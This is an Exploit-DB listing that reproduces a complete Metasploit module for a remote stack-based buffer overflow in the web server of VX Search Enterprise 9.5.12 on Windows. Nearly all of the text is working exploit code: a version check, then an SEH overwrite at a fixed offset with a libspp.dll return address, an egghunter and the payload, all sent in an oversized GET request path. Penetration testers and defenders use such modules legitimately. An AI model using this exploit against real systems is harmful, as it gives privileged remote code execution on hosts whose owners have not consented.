VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)

EDB-ID: 42057
Author: Metasploit
Published: 2017-05-23
CVE: N/A
Type: Remote
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework
Vulnerable App:

 # This module requires Metasploit: http://metasploit.com/download 
 # Current source: https://github.com/rapid7/metasploit-framework 
 ## 
  
 class MetasploitModule < Msf::Exploit::Remote 
   Rank = GreatRanking 
  
   include Msf::Exploit::Remote::Seh 
   include Msf::Exploit::Remote::Egghunter 
   include Msf::Exploit::Remote::HttpClient 
  
   def initialize(info = {}) 
     super(update_info(info, 
       'Name'           => 'VX Search Enterprise GET Buffer Overflow', 
       'Description'    => %q{ 
         This module exploits a stack-based buffer overflow vulnerability 
         in the web interface of VX Search Enterprise v9.5.12, caused by 
         improper bounds checking of the request path in HTTP GET requests 
         sent to the built-in web server. This module has been tested 
         successfully on Windows 7 SP1 x86. 
       }, 
       'License'        => MSF_LICENSE, 
       'Author'         => 
         [ 
           'Daniel Teixeira' 
         ], 
       'DefaultOptions' => 
         { 
           'EXITFUNC' => 'thread' 
         }, 
       'Platform'       => 'win', 
       'Payload'        => 
         { 
           'BadChars'   => "\x00\x09\x0a\x0d\x20\x26", 
           'Space'      => 500 
         }, 
       'Targets'        => 
         [ 
           [ 'VX Search Enterprise v9.5.12', 
             { 
               'Offset' => 2488, 
               'Ret'    => 0x10015ffe  # POP # POP # RET [libspp.dll] 
             } 
           ] 
         ], 
       'Privileged'     => true, 
       'DisclosureDate' => 'Mar 15 2017', 
       'DefaultTarget'  => 0)) 
   end 
  
   def check 
     res = send_request_cgi( 
       'method' => 'GET', 
       'uri'    => '/' 
     ) 
  
     if res && res.code == 200 
       version = res.body[/VX Search Enterprise v[^<]*/] 
       if version 
         vprint_status("Version detected: #{version}") 
         if version =~ /9\.5\.12/ 
           return Exploit::CheckCode::Appears 
         end 
         return Exploit::CheckCode::Detected 
       end 
     else 
       vprint_error('Unable to determine due to a HTTP connection timeout') 
       return Exploit::CheckCode::Unknown 
     end 
  
     Exploit::CheckCode::Safe 
   end 
  
   def exploit 
  
     eggoptions = { 
       checksum: true, 
       eggtag: rand_text_alpha(4, payload_badchars) 
     } 
  
     hunter, egg = generate_egghunter( 
       payload.encoded, 
       payload_badchars, 
       eggoptions 
     ) 
  
     sploit =  rand_text_alpha(target['Offset']) 
     sploit << generate_seh_record(target.ret) 
     sploit << hunter 
     sploit << make_nops(10) 
     sploit << egg 
     sploit << rand_text_alpha(5500) 
  
     print_status('Sending request...') 
  
     send_request_cgi( 
       'method' => 'GET', 
       'uri'    => sploit 
     ) 
   end 
 end

Source: www.exploit-db.com